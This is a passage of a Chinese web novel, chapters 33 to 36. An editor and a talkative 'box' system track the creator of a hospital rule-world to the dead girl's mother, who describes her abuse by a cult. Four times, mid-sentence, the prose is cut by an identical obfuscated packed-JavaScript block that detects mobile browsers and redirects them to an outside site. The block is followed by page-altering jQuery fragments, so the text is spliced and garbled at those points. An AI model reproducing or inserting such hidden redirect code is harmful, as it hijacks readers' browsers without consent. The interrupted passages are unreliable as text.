【要暴力破坏屏障很容易,甚至要粉碎整个世界都很容易。】 匣子受够了这种有力气没地方使的冤枉事,无奈它还有理智,【但我的任务是调查而不是征服。】 【我的目的是得到特殊污染源的情报,而不是收获一捧无法辨认出信息的残渣。】 【说来还得怪你们人类,】匣子从东云茜那时起就开始吃这种苦了,明明可以轻易攻破的世界,却只能选择偷渡和微操,【这种小世界要是单纯按照自然逻辑运转就好了,偏偏又总是和创作者的精神紧密相连。世界的规律还可以推算,人类却又敏感又善变。】 【我都不敢太妄动,谁知道创作者受不得什么样的刺激。】 ……匣子还不知道《病人守则》的创作者是久世寿穗,也不知道她已经去世了。 黑野编辑略作思考,没有立刻插话打断。 【你知道人类的意志有多精细又有多奇怪吗?】匣子喋喋不休地抱怨,【有时候怎么折腾都不屈不挠,有时候就顺手摸一下的事,哟嚯——整个儿坏掉了。】 黑野编辑回想着匣子发送的广播,心想,那大概是因为匣子的判断和行事方式太非人了。 匣子与黑野编辑分离后,才自主行动了不到一天,就随随便便搞出这种影响所有小世界的微妙事件。要是黑野编辑一直不回来,匣子接下来会干出什么事情,简直让人不敢想。 匣子或许对此略有自知之明,才知道来找人类代理人,以人类为主导开展行动。 不过,黑野编辑承认,人类的情感确实复杂,就算他身为人类,也总有误判的时候。 匣子所说的,他并非无法理解。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928884|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见识过人类的神经大条能到什么程度,也钦佩有些人在情感和精神上的韧性。 而在另一方面,人类的情感和行为中有时候有太多意想不到的联系…… 牵一发而动全身。 匣子没在意黑野编辑的沉默,还在嘀嘀咕咕,【你们凡人怎么知道,动手是最容易的,但要确保不波及自己不想要破坏的那部分东西才是最难的。】 黑野编辑知道。 他垂下眼,说,“在我们神州,这个叫做投鼠忌器。” 【哦。】 匣子顿了一秒。 它原本想在最后说,万一强行侵入时出点什么差池,你还在那个小世界里面没能分离出来呢。 眼下却说不出来了。 最后想了又想,才重新开腔,【抱歉……将你丢在了那个世界里。】 心高气傲的匣子难得说这种话。 黑野编辑甚至都感到有些荣幸。 但又怀疑匣子展现出这副姿态的企图。 尤其是接下来,他无法立刻给出回应,这就更像是匣子算好的时机了。 ——护理工来收拾早餐的碗盘了。 随后是护士来送药。 等这些人都离开后,黑野编辑才重新得到闭目养神的机会。 他闭上眼,握住等待已久的匣子,给出直白的回应,【你想要什么?】 【我们来签订契约吧。】 匣子提出建议。 虽然名义上作为系统跟随着“宿主”行动,但匣子与黑野编辑之间其实不存在真正的精神寄宿关系,两者始终都是独立的个体。 不过是匣子提供了一道意识交流的桥梁,并在征询了黑野编辑的个人意向后,且是在没有得到满意答复的情况下,一厢情愿地追着黑野编辑做交易而已。 ……和边追赶行人边提供售后服务的小商贩没什么不同。 当然,匣子自认为是黑野编辑先前还没有通过考核,不配与它建立更深层的联系。 现在的情况当然不一样了。 【这次的分开是我大意了。毕竟我们没有建立契约,只有口头承诺约定——这种联系太浅薄了。全靠我自己跟着你。我原本以为没有什么能将我们分开。】 事实上是那时候的匣子觉得就算随时将黑野编辑抛弃了也不要紧。 它及时更正态度,【未来这种事情可能会更多。我想要进一步加深我们的合作,和你签个正式合约。】 匣子知道黑野编辑的谨慎,主动解释,【主要是与你进行思维的深度链接绑定。】它乐观地宣传前景,【这样不管去到哪里,你都能联系上我,我也能将你作为终端来投放力量。】 黑野编辑对匣子的要求感到困惑,【为什么?】 匣子纳闷于黑野编辑的迟钝,【丢了你一次还不够吗?我可不想这种事再次发生了。】 它苦口婆心,【现在还不明确特殊污染源有怎样的企图,但它躲着我,似乎也发现你我的关系了。这次的小世界很显然就在针对我,故意分开你我,没准未来还想搞逐个击破,弄点针对你个体的诅咒。你已经被牵连到这件事情里了,需要我的保护才行。】 【如果只是这个原因的话,】黑野编辑松了口气,【谢谢你的费心,但是不用了。】 33.接替者 黑野编辑指出,【我不是被牵连进来的,而是主动加入的。你无须为此负责。】 东云茜是他负责的漫画家。《夜樱》是他负责的漫画。 虽说匣子另有算计,而他就算不依靠匣子也另有办法,但总的来说,那次行动是各取所需,在他看来是一场公平的合作。 而他之后在《病人守则》世界的探险,以及他未来可能会参加的其它探险,他的选择都出自于自身的好奇心。 他为自己参与这些事情,也想要保留随时退出的权利。【我认为我们的关系停留在目前的层次就可以了。】 匣子气结,【好吧。那我需要你不行吗?】 它又像是抱怨又像是赞赏,【漫画编辑是很多,但你这样的奇葩可能就一个了。】 它不怎么情愿地承认,【对《夜樱》那个世界里特殊污染源的调查和分离比我想象得还要顺利,远远超出我的预期。最难得的是菜菜子最后那种配合的态度,你可能觉得不稀奇,但没有前期那些顺理成章的剧情铺垫,是不可能那么顺利的,反正我是做不到让她乖乖自己交出来。】 【在动用武力的情况下,就没法将污染源分离得那么完整了。】 【那是东云茜的剧情设计。】黑野编辑推让功劳,仍觉与有荣焉。 菜菜子的态度也不是他的刻意安排,他没算计那么多,不过是走一步看一步罢了,【是菜菜子愿意信任他人。】 匣子心想换了自己,或换个别的宿主,才不会乖乖走剧情,主动帮世界整合逻辑呢。 得到佐伯雄乃至菜菜子的信任,看似是无心插柳柳成荫,也不是每个人都愿意在没有明确的回报前去耐心插柳的。 它回应,【那是你负责的漫画家。《夜樱》是你负责的漫画。】 【总之,要做到这些事情,果然需要人类的情感和分析力才行。而你已经是被我认可的熟练工!】匣子提高音调,认为黑野编辑该为此感到荣幸,【我也不想浪费时间再去栽培第二个人了。】 黑野编辑回想了一下,匣子究竟如何“栽培”自己了,大概是愿意像挤牙膏般地为他介绍背景和世界观吧,这点上他还是领情的。 匣子多少带点自暴自弃地说,【我就是想要进一步加深我们的合作,捞个稳定的向导——不可以吗?】 比起初遇时的擅自读心,匣子这会儿没有二话不说直接定下契约,而是摆明了条目来商谈,虽说态度还是显得有些无赖,但也算是给出了足够的尊重。 匣子已逐步适应了与黑野编辑相处的规则,甚至可算是抓住了点编辑的软肋——吃软不吃硬,而且一般不会拒绝他人的恳求。 【不急。】黑野编辑握着匣子说,【先解决这次的事情。】 他睁开眼,拿起床头的药包拆开。 两枚粉红色的胶囊正静静地躺在其中。 明明才刚经历过昨天检查药物、陈恳道歉的那回事,护士今天送来的药物却与前日、与昨日一模一样,就像受到了某种认知蒙蔽一般。 但至少,按匣子所说,这份药物是对的。 如果《病人守则》的世界原本是善意的,粉红色药物也是善意的,那么,那只故意提供虚假警报、阻止黑野编辑正常服药的“匣子”究竟是谁? 善意的《病人守则》世界又为何要配合“匣子”操纵那些护士的幻觉?胧车的规则究竟是谁加入到《病人守则》中的? ……那个世界的创作者真的已经死了吗? 匣子已经完整讲述了自己停留在现实世界的经历。 作为回报,黑野编辑躺在床上闭目养神,也慢慢说起自己滞留在小世界中的经历。 匣子对假匣子的事情非常愤怒,就此断定整场事件应该存在一个幕后主导者,要么是创作者,要么是诞生了自我意识的特殊污染源。 可是黑野编辑也通过观测流星的方法离开了那个小世界,按理来说他应该同匣子一样,无法再进入那个世界。 听到黑野编辑回答说,没能在离开前找到特殊污染源,匣子有些失望,又自我安慰,毕竟这回没有自己这样了不起的导师陪同,事情进展不顺利也是没办法的事。 【就算找到了,凡人大概也没办法奈何它,可能还会有危险。】 【算了算了。你能安全出来就好。】 匣子认可了黑野编辑的判断,那个小世界应该是规则世界而非漫画世界。 除了规则外,那个世界在场景与人物的自主演化上应该不够完善,所以只能大量借用现实世界的内容。 这使得它能产生近乎真实的精神幻觉,但另一方面,它很难捏造完全虚构的场景和道具,也无法编造复杂的人物活动。 那个幕后黑手应该是将护士与鹰之助的反应作为素材,在规则世界中制造“真实”的人物互动,让黑野编辑无法察觉自己的处境。 而在需要篡改情节的地方,只需要施加局部的幻觉来误导护士和鹰之助。 例如粉红色胶囊,应该是在护士重新核对检查药物的环节,在幻觉中调换了她们看到的药物外形。 至于天台上的女孩,应该是个关键人物。 她出现在那边的规则世界里,且幕后黑手没有选择隐藏她,而是选择将这份幻觉传递给鹰之助,制造了更复杂的人物互动,其中必有企图,或是有不得不这么做的理由。 黑野编辑听着匣子的论断,暂时没有发表意见,而是继续讲述下去。 匣子只观测到黑野编辑在白日里的活动情况,对夜间的那些事是不知情的。 据它的说法,整个夜晚里,黑野编辑的身体一直处于沉睡状态。 所以,黑野编辑在夜晚的那些经历,应该是在幻觉,或者梦,或者时空错位的另一个时空里发生的。 直到早晨,匣子才突然捕捉到他的思维频率,惊喜,咳咳,不,胸有成竹地迎接他回到现实世界里来。 匣子终于从黑野编辑口中得知了《病人守则》世界的创作者,久世寿穗的情报。 对于编辑的问题,匣子回答说,【不,死亡是一件很严肃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933180|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情。死了就是死了。】 【她的精神或许会留下所谓的幽灵,但那只是生前意志的残渣。】 【至于她在死前创造的世界,在失去与创作者的联系后,就不可能再继续发展了。】 【……我查一下!】 说是要查一下,但匣子很快就重新播报了信息检索结果。 久世寿穗,这个女孩的确已经去世了。 就如同假匣子披露的,那件天台惨案的真相被这家医院动用所有资源压下去了,没有像八濑广重事件一样被公之于众。 整场事件最后被媒体报道为食物中毒导致的集体癫痫,法医断定孩子们是互相殴斗后跳楼自杀。 报道的规模应该不大,没有进入普通公众的视野。 因为,哪怕是曾在这里工作过的鹰之助,在离开后都对此事不知情。 唯一的后果是,笼罩着这家医院儿科的光环彻底熄灭了。 院方高层在媒体上发布了一场小型道歉会。 除了几位被推出来的食堂工作人员外,就无人得到法律的惩罚。 无论在樱岛生活了多久,黑野编辑依旧觉得自己不够了解和适应这个国家。 这次也是一样。 【我相信你作为编辑的直觉。你觉得那个规则世界的创作者是她,那么就应该是她。】匣子说,【那么最大的可能性是,那个规则世界仍存在另一个创作者,是她的辅助者,或是合作者,或是接替者。】 【另一个还活着的人,在她死后补充了那条规则,并因此对那个世界拥有一定的主导权。】 黑野编辑正在思考,就听见匣子满怀期待地问,【你有办法将这个人找出来吗?】 匣子这家伙,明明没有重要线索,不考虑难度就敢随随便便发布任务,这种强人所难,物尽其用的态度,都快和他熟悉的社长差不多了。 不过,黑野编辑并非毫无头绪。 他给出纵容的答案,【我尽力。】 他向匣子询问,【若是群体创作,那些创作者们如何分配对世界造成影响的权限?】 这也是黑野编辑在发现“假匣子”后,曾经考虑过的可能性。 按理来说,群体创作的参与人数越多,其合作上限远低于平均水平的可能性就越小。 这个假设中,明明有至少两位作者共同创作了作品,却只能给出画技仅为5分的配图,使得黑野编辑对这个猜测的概率赋值偏低。 就算假定所有创作者都是幼龄儿童,可离久世寿穗去世都已经过去这么多年了,很难想象其余那些从最初就参与进来的合作者,明明有意继续发展这个世界,却没想过更新升级配图。 黑野编辑更倾向于认为,目前主导着这个世界的人,并非初创者,而是接替者。 这位幕后主导者,大概放弃了久世寿穗那份向读者传递天真善意提醒的友好初衷,是为了其他目的而继续经营着这个世界。 要实现那个目的,并不需要接替者对作品本身的配图进行修改。 34.近在咫尺 【群体创作?】 【在世界最初成形的阶段,就和集体创作的小组讨论差不多呗,谁意志强,谁说了算。】匣子给出解答,【最终落到成果里的是什么设定,落实到对应小世界的就是什么设定。】 【但你也知道,小世界的千百面相比一本漫画作品能展现出来的角度要多得多,那些分歧留下来的痕迹可能散布在任何一个角落里,靠世界自身的‘发展’来弥补。】 【至于那些向所有人敞开了修改权限的世界,或是由群体意志创作并不断覆写发展的世界,以及根据众人的争执和分歧,从某个主要小世界中派生出来的无数副本和衍生小世界……】 匣子叹了口气,【你最好期待那些世界不要被卷入到这次的污染潮流中来。】 【那种大型开放世界之间本来就在不断地互相交流传递思潮。】 【要是它们被什么危险的事物给污染的话,后果就很难收拾了。】顿了一秒,匣子又补充道,【我倒是都无所谓,打扫垃圾不能嫌活脏——大不了将它们一起碾碎。】 【但像你这样的和平主义者,应该不会想要见识那样残酷的景象。】 黑野编辑已经习惯了匣子这种不知道是嘴硬还是嘴嗨的态度。 他只庆幸,《夜樱》的污染在公开发表前被他们发现并清除了。等这次事件结束后,他定要拉着匣子清查一遍黑野社所有已刊发的漫画的对应世界。 这是后话。 黑野编辑想起来,夜间世界的“鹰之助”曾说过,《病人守则》的内容流传于病人之中。 这种规则的流传与加工,是否称得上是二次创作呢? 他请匣子帮忙查查看,这家医院里是否还留下过类似的痕迹。 匣子立刻给出了否定的答案。 它查阅了所有网络上可以公开访问的信息,没有在各类论坛和日志中检索到《病人守则》相关的词条。 昨天与黑野编辑失联后,它也已彻底翻查过整所医院,没有找到相关的实物记录和文字材料。 【过去发生的事情,若只是口头传播,没有留下具体记载的话,就很难查证。】 【不过,这个世界离医院很近,主导者应该也离得很近。】匣子看黑野编辑脸色,【如果你不介意允许我一个个读心过去的话……】 【不用那么麻烦。】黑野编辑摇摇头,【你帮我找找久世寿穗父母的信息,他们应该是这家医院前任院长的儿子儿媳。】 【父母?的确是个突破口。】匣子立刻接受了这个思路,高兴地说,【去家访的话,没准能了解到什么。】 它动作很快,转眼就将资料投影在黑野编辑眼前,【找到了。】 是两个名字,久世直树,久世真琴。 还有一张模糊的旧照片。 【现在的有钱人都很注意保护隐私啊。只在医院的旧内刊里找到了前任院长儿子出席某次公开活动的照片,儿媳似乎不怎么抛头露面,没有参加过院方活动。】匣子解释道,【这对夫妇没怎么上新闻报道,但是在医院内部论坛的帖子里有人讨论,说他们后来离婚了。女方不知去向,男方去世了,是自杀,有讣告。】 那是好几年前的事了,网络中留下来的痕迹也不多。 离开了豪门大族的独身女性,更是难找。 不过,终于到了能表现自己的时候,匣子不会轻易放弃。 【有名字就够了,我这就去民政部门的内部资料库查一下相关数据。】 【不用了。】黑野编辑立刻阻止。这是违反法律的事情,他对此一向拎得清。 作为外籍人士,他不想在樱岛留下任何话柄。 匣子到底是疑似樱岛制造的匣子。什么事情都有可能发生。他不想为了小小便利去走捷径,等到被翻后账的那天再后悔。 【公共网络上没有关于《病人守则》的直接信息,那么关于守则具体内容的间接线索呢?】黑野编辑给出几个方向,【关于CT室有没有什么特别的传闻?最近几年的维修记录是否有异常?】 【饮水机的更新维护呢?】 【医院里是否发生过儿童用电事故?楼梯间的盆栽有没有问题?儿童游乐区在夜间是否开放?】 【八濑广重的报道里有没有其他细节?】 【有没有儿童夜间走失的事件?】 匣子遭受了一通过去只有漫画家们体验过的提醒轰炸。 不过,匣子这会儿特别愿意卖力气下功夫干活。 它以惊人的效率处理数据并向黑野编辑报告答案:【CT室的定期检修记录是正常的,尚未出过非常规事故。】 【饮水机的滤芯更换和日常维修记录非常琐碎,总的分析下来不像有什么特殊问题。意见簿上收集到一些需要提供冰水、担心老人儿童被高温开水烫伤的投诉和建议,没有过于极端或突出的反对言论。】 【轻微用电事故有过,但受害者并非儿童,该事件在医院内刊上报道过,未提及患者具体信息,相关电路走线已完成整改。】 【盆栽是马拉巴栗,你们神州也很常见的‘发财树’嘛,没有没有特殊信息。】 【自儿科衰落后,儿童游乐区利用率降低,平均半年进行一次检修,不提供夜间灯光照明。】 【八濑广重的报道里没有涉及儿科患者的内容。】 【那起‘集体癫痫’惨案后,家长对这家医院的儿科信任度降低,引发了一连串各种医疗问题投诉案件,但卷宗里尚未发现有儿童走失案件……等等,我在网络上查到了。】 匣子激动地汇报,【曾经有儿科的医护在论坛里匿名留言抱怨,说有儿童患者的父母加入了某宗教团体,时常于夜晚外出参加教派的仪式活动,将睡着的孩子独自留在病房。】 【教派的名字是复一教。】 【留言日期是六年前,那个留言没有指名道姓。如果要确认发帖人身份的话,我得——】匣子适时地停下来,向黑野编辑请示。 【足够了。】 黑野编辑结束了资料搜集工作。 他将这些信息补充到原有的推论分支树上。 目前暂未发现新的重要可能性,但也未发现与已有推论的矛盾冲突。 搜集这些内容只是出于谨慎,防止临场时节外生枝。 而该做的事情他早就想好了。 黑野编辑向匣子最后确认一遍关键疑点,【那天晚上,我们都在《病人守则》世界中时,遇到了‘鹰之助’。】 【他的声纹与鹰之助完全一致吗?你的识别精度如何?】 【当然。你们人类的识别系统,就算是公安、金融级别的也比不上我!】匣子仿佛蒙受了莫大的委屈,【那绝对就是你那个小助手的声纹!与平时的他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936624|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有任何差异!】 这就是问题所在了。 黑野编辑松开匣子,说,“我知道了。” 他推开被子,起床,架起了旁边的拐杖。 在匣子【你打算去哪】的追问声中,黑野编辑走出两步,拉开了隔在两张病床间的帘子。 上午的阳光顿时照亮了整个房间。 隔壁床的中年妇人依旧形如槁木地躺着,面无表情地望着窗外,仿佛沉浸在某场无法醒来的幻觉中。 黑野编辑心想该如何称呼这位病友。 考虑到樱岛人有结婚改姓的传统,离婚后的久世真琴未必保留了夫家姓氏。直呼姓名也不够礼貌。 不,事实上虽对她的身份有所猜测,但还没有直接证据,按照她现在使用的名字称呼是最妥当的——无论那是真名还是假名。 匣子已经快速告知了那个被登记在病历上的姓名。 “户田女士,”黑野编辑问,“请问你读过《病人守则》吗?” 就如过去的那些搭话一样,这句问话也石沉大海。 那位妇人满脸漠然,毫无反应。 【要像这样一个个病人地问过去吗?】 匣子有些担心,【不如还是让我来读心算了。】 黑野编辑摇摇头,他有自己的理由。 他换了一个问题,“难得有这样的机会,你真的不愿意与别人聊聊久世寿穗吗?” 那位妇人蓦然转头过来,用幽黑深邃的眼睛盯着黑野编辑。 数秒后,她说,“我每天都能见到她,一点都不寂寞,又为什么要和别人聊起她呢?” 她没有等待黑野编辑的答话。 既然已经暴露,她干脆坐起身来,扭着脖子端详黑野编辑几秒,又问,“你怎么知道是我的?” 黑野编辑回答,“我去到那个世界时,遇到了久世寿穗记忆中的护理工。 “虽然面貌全非,但他的声音与鹰之助一模一样。” 因为那个涂鸦世界中的人物形象太难辨认,匣子并未发现,那是高中生阶段的鹰之助。黑野编辑当时也并未觉得有问题,直到在夜间世界第二次见到“鹰之助”后,才发现护理工如此年轻。 从高中生到职业人,其中跨度远远比黑野编辑和匣子原本想象的要久。 在这样的成长跨度里,男性声纹的核心特征不会发生特别重大的变化,但也绝不可能让一个具备极高精度的识别系统,作出“没有任何差异”的评价。 已知:那个世界中的一切元素,除了涂鸦和文字外,都取材于现实。 排除:鹰之助如今的声音,不可能进入早逝的久世寿穗的记忆。 得出:那是另一个人的记忆。 推论:从久世寿穗那里接替了《病人守则》世界主导权的人,在毫无自觉的情况下,用自己的记忆更新了鹰之助的声音版本。 “时间限定在那天入夜前,地点限定在这家医院里,”黑野编辑说出浅而易见的事实,“有机会充分校准对鹰之助声音的记忆的人,就只有社长,我,以及同病房的你了。” 上午和煦的阳光照在病床上,妇人的面容上却毫无一点暖意。 在初次出发去那个世界之前,匣子就曾说过,创作者应该离得很近。 不知是可笑还是可叹,连匣子大概也没想到,对方居然离得有这般近。 35.信徒的自白 “那个年轻人现在的声音和过去差别有这么大吗?”户田女士冷静地问,“我过去只见过他几次,我的女儿那时倒是经常提起他。” 虽然如此,可前日一见到那个高大的年轻人,她就认出了对方。 金发的护理工每晚都在夜间的走廊上游荡着,等待着帮助别人。 其实她并不相信那条规则,不相信世上会存在无私助人的好人,但那是女儿的朋友。 寿穗在这家医院的朋友太少了。 医护们都是至少隔了整整一个辈分的成年人,而同龄人的患者又都很快出院,时间不够结下深厚的友谊。 为了寿穗,她愿意接纳那个高中生的存在。 可再次于现实中见到那个年轻人,见到对方染黑的发色、成人的职业装和更加成熟的举止时,她才意识到,现实的时间仍在流逝。 寿穗已经去世那么久了。 她的注意力不自觉被那个年轻人吸引,视线也短暂地从另一个世界挪开,意识也回到现实世界的处境中来。 许多过去的时光、关于寿穗的回忆都涌上了心头。 在那个世界里,她每天都能见到寿穗,她并不寂寞——可是,她心里也隐隐知道,这种思念,这种缅怀,是不一样的。 就像是,当现实世界里终于有人提起久世寿穗的名字时,她无法忍住不去答话。 黑野编辑保守地回答,“只是我用的仪器精度比较高。” “那个一直跟着你的声音?”户田女士面色一沉。 “它差点毁了我女儿的世界。” 【我没有!】匣子立刻否认,为了给自己辩护,它不得不将自己的声音也投射到户田女士的听觉神经中,【呃,我发现自己没法顺着原路回去时,是气得摸了几下小世界的屏障啦,但不也没造成什么破坏吗?】 它反过来兴师问罪,【——我还顾念着你绑架了我的人质呢!】 户田女士掐了掐自己的耳朵,坐直身体,瞪起眼睛,眼神变得凶狠起来。 看户田女士的反应不对,匣子又有些犹疑,【难道你是说我最早带着他潜入的时候?我的确没有按照正规方式进入……那得先找着创作者,与其建立精神联系,再冒充其精神波动,顺着小世界与人类意识的链接开口潜入。】 黑野编辑心想,这种偷梁换柱、瞒天过海的方式,听上去也不是很正规。 【那不就只能趁小世界还没有防备,在屏障上随便找地方穿个孔,再钻进去?】匣子仍在辩解,【以我的体量,强行进入总会有点波及……】 户田女士的表情,让它的声音变小了,【可能我没把握好力度?】 看户田女士那副气得咬牙切齿的模样,匣子大概或许确实差点毁了《病人守则》的世界,至少也造成了相当程度的破坏。 黑野编辑甚至开始怀疑,当晚那个世界不得不以涂鸦(画技5分)的面貌呈现,没准都是匣子搞砸的结果了。 “……对不起。”他向户田女士道歉。 黑野编辑自认要对此负起一定责任,要不是他同意接受这个任务,匣子也不会采取行动。 “少假惺惺!”户田女士反应激烈地咒骂,“我只是想要和我女儿在一起而已,你们这些胡乱制造破坏的外来人,没事少来招惹我!” “你是为了能和女儿在一起。”黑野编辑将逐渐得到证实的拼图组合起来,“所以,天台上的那个女孩,就是久世寿穗了。 “《病人守则》原作中大部分场景都在夜晚。在夜晚世界里活动的人物,也更接近久世寿穗本人的记忆。” “而那个世界的白天,大概出自你的创作——久世寿穗仍然活着,而且时间也在继续流逝,她在那个世界里由孩童成长为少女,对童年的模糊记忆也在逐渐被‘新生活’替换。” 她在多年后认不出鹰之助了,羞于谈起童年时的创作。 作为成长后的少女的她,开朗大方,善良体贴,热爱生活。 不仅保留了自身的兴趣爱好,还以积极的态度对抗病魔。 是在一位母亲的憧憬中,孩子所能长成的最好的模样。 “可是,”黑野编辑秉持着能劝还是要劝的原则,说道,“那不是你的女儿,只是你自己想象中的女儿。” 这句话说得有些犹疑。他原本有着充分的凭据——画技天赋原本只有5分的孩子,在几年的住院过程中,仅靠着兴趣自学,就将画功发展到突飞猛进的85分,这种天赋只可能是家长的美好想象。 但由于匣子突然冒出来抢锅,这份证据已经不太牢靠了。 【死了就是死了。】匣子说出自己的见解,【除非有什么特殊的异能或神明,将生前的意识分离出来再造一个容器,否则那个意识就会随着肉身的毁灭而彻底湮灭。】 所以,已经有一个名为久世寿穗的意识死去了,那个死去的意识不可能再见到将来。 【停留在这种小世界里的,不过是个复制品,区别只在于究竟是生前自行留下的副本,还是死后从外人记忆中提取出来的副本而已。】 【沉迷于此也没什么不好。】匣子和黑野编辑的想法不一样,【这种事我见多了,和你们人类集体创作的彼岸世界也没什么不同。哦,在你们神州好像叫做阴间。】 它摆明自己的态度,【要不是可能牵涉到特殊污染源,我也懒得管。】 既然已经找到创作者,匣子感觉自己又行了。 它悄悄给黑野编辑开小窗聊天,【就算我们被规则赶出来了,难道创作者自身还会被排斥吗?你先再套套她的话,等我解析好数据了,待会从她的精神联系上进去那个世界,把特殊污染源给找出来,就像上次东云茜那回一样!】 黑野编辑认为某个理论有误。 但他无法像匣子那样随意地切换成私聊,没法当着户田女士的面向匣子说明情况。 “神明,哈哈,可不就是神明!”户田女士神色癫狂,“我就知道,是教主!是教主将寿穗救下来的,是他将我的寿穗还给我的!” 教主?复一教。 被医护匿名留言抱怨的那对半夜去参加宗教活动的父母,果然就是久世夫妇。 黑野编辑皱起了眉。 他出身于神州,对这种莫名其妙的教派的观感都不太好。 神州那边对这种组织有个更加准确的称呼,邪教。 “哈,你这是什么不礼貌的表情?你不信吗?我最开始也不信的,”户田女士按住自己的心口,莫名地开始讲述自己的心理历程,“最初的时候,我只是不得不跟着老公去参加活动而已。 “每次夜归,看到寿穗孤独的睡脸,我也有所愧疚。 “可是我没法左右我老公的决定。 “包括后来的捐款, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947873|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修行,献祭,那些都是由他做出的决定。” 黑野编辑沉默着。 只要有人愿意述说情报,他从来都很有耐心。 “去得多了,我才逐渐感受到那里的不寻常。 “教主是那么慈悲,那么威严……”户田女士的面容上闪现过一丝淡淡的恐惧。 “那里的所有人都很温柔,都愿意倾听,都愿意伸手帮助同伴,那种感觉真好。”她在回想中陷入一种恍惚的沉醉,“仪式也很打动人心,让我……” 她及时收住话头,“可你知道吗?那都是骗人的。” 黑野编辑暗自点头。 恩威俱施,互相洗脑,神秘仪式,这些都是这种民间教派常用的手段。 户田女士直勾勾地盯着他,“他们背叛了我,欺骗了我,他们用我的寿穗,为我的公公举办延寿的仪式! “老不死的久世,可真下得去手啊,他有那么多孙系,我却只有一个寿穗。” 她扭曲变调的语气里饱含着痛恨的苦汁,“那是我的寿穗,不是他续命的果实。 “哈哈哈哈,他最后还是熬不过癌症,死了,活该。” 那对曾经的她应该是段痛苦的经历,可她的眉眼又很快舒展了开来,念诵出一句陌生的祷文,“可后来我才知道,教主是站在我这边的,神明是站在我这边的。” 匣子故意发出一声很大的嘲笑,而她置若罔闻。 “在离婚后我又回去了教派,我有什么办法呢?是教主让老公和我离了婚。我没有别的地方可去了,我也没有钱财。他们想要从我身上拿走什么,想要我和谁睡觉,都尽管拿走吧,都尽请随意吧。 “只有受够了这么多的苦,只有洗净我身上的邪祟,我才能得到救赎。” 黑野编辑阴沉着脸。 报警是之后必然要做的事情。但他知道,在樱岛的效果不会很好。 有没有哪位漫画家,愿意画点揭露这种黑暗现实的社会题材漫画?他在心底盘算着几个名字。 得去谈谈。 “可这一切最终都是值得的,”户田女士在阳光下仰起了脸,“当我打开女儿留下的遗作,当我在冥想中进入那个世界的时候,我就知道,教主永远站在我的身后,他的光辉将庇佑所有虔诚的信徒。 “我的公公算得了什么?他不过个妄图利用教主神通的疯子而已。老公算得了什么?懦弱下贱的东西。还有其他那些混蛋,那些侮辱人的畜生……”她深呼吸几口,让平静的神色压过那些憎恨,语气也重新平缓,“那些不过是教主安排给我的考验而已,是我生来就该受的苦。 “而我完成了一切试炼,得到了自己的回报,只有我才是教主真正的、最纯洁的信徒。” 【根据公示信息,】匣子煞风景地打断,【复一教的负责人,也就是你说的那个教主,四年前就因为车祸去世了,目前已经向有关管理部门报备,更换新负责人了吧?】 “哼,那不过是个幸运地成为了被教主在人间凭依的身躯,就得意忘形的自大疯子而已。” 户田女士丝毫不会为这种小事动摇,“教主眷顾着我,无需借助任何其他媒介之口。 “现在的我,已经和那个打着教主旗号招摇撞骗的虚伪组织没有任何联系了。” 【有时候真不明白,】匣子的语气很沧桑,【你们人类信仰的究竟是什么。】 36.正常的发疯 是自成一体的逻辑闭环。 黑野编辑在心里回答。 不,逻辑闭环只是信仰的结果。 他在思考中又推翻了这个结论。 以人类对建立因果关系的喜好,只要信了某件事,就总能为自己找到说服自己甚至他人的解释。 ——人类所信仰的,往往只不过是自己想要去相信的事物而已。 黑野编辑暗自叹了口气。 “如果你真的相信那个久世寿穗就是自己的女儿,”他问,“那你为什么不放她出院呢?” 户田女士的身体遽然震了一下,从齿缝里逼出声音,“……你在说什么!?” 原作者久世寿穗已经去世了。 继任者户田女士又几乎断绝了所有的社会关系,以她孤僻的性格,在发现《病人守则》世界后,定然不会与其他人分享。 所以,出现在《病人守则》世界里的所有有独立意识的主体,应该都是户田女士本人。 包括: 扮演假匣子,想要阻止黑野编辑上天台,试图将其困在《病人守则》世界里的那个声音。 